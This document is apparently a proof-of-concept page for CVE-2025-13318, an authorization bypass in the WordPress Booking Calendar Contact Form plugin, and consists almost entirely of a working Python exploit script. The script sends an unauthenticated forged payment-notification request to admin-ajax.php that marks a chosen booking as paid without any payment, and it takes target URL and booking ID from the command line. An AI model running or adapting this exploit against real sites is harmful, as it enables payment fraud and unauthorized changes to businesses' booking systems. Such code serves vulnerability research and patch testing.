CVE-2025-13318 WordPress Booking Calendar Contact Form 插件越权漏洞

#!/usr/bin/env python3 """ CVE-2025-13318 PoC - Booking Calendar Contact Form Missing Authorization This PoC demonstrates the authorization bypass vulnerability in the Booking Calendar Contact Form plugin for WordPress. """ import requests import sys def exploit_cve_2025_13318(target_url, booking_id): """ Exploit the missing authorization vulnerability. Args: target_url: Base URL of the WordPress site booking_id: The booking ID to confirm without payment Returns: bool: True if exploitation appears successful """ # Vulnerable endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft the malicious request # The 'dex_bccf_ipn' parameter triggers the vulnerable function # without any authorization or payment verification payload = { 'action': 'dex_bccf_ipn', 'dex_bccf_ipn': booking_id, 'payment_status': 'completed', 'txn_id': 'EXPLOIT_' + str(booking_id) } try: print(f"[*] Sending exploit request to: {endpoint}") print(f"[*] Targeting booking ID: {booking_id}") # Send the request (no authentication required) response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") # Check if the request was processed if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Booking should now be confirmed without payment verification") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <booking_id>") print(f"Example: {sys.argv[0]} http://example.com 12345") sys.exit(1) target_url = sys.argv[1].rstrip('/') booking_id = sys.argv[2] print("=" * 60) print("CVE-2025-13318 - Booking Calendar Contact Form Exploit") print("=" * 60) exploit_cve_2025_13318(target_url, booking_id) if __name__ == '__main__': main()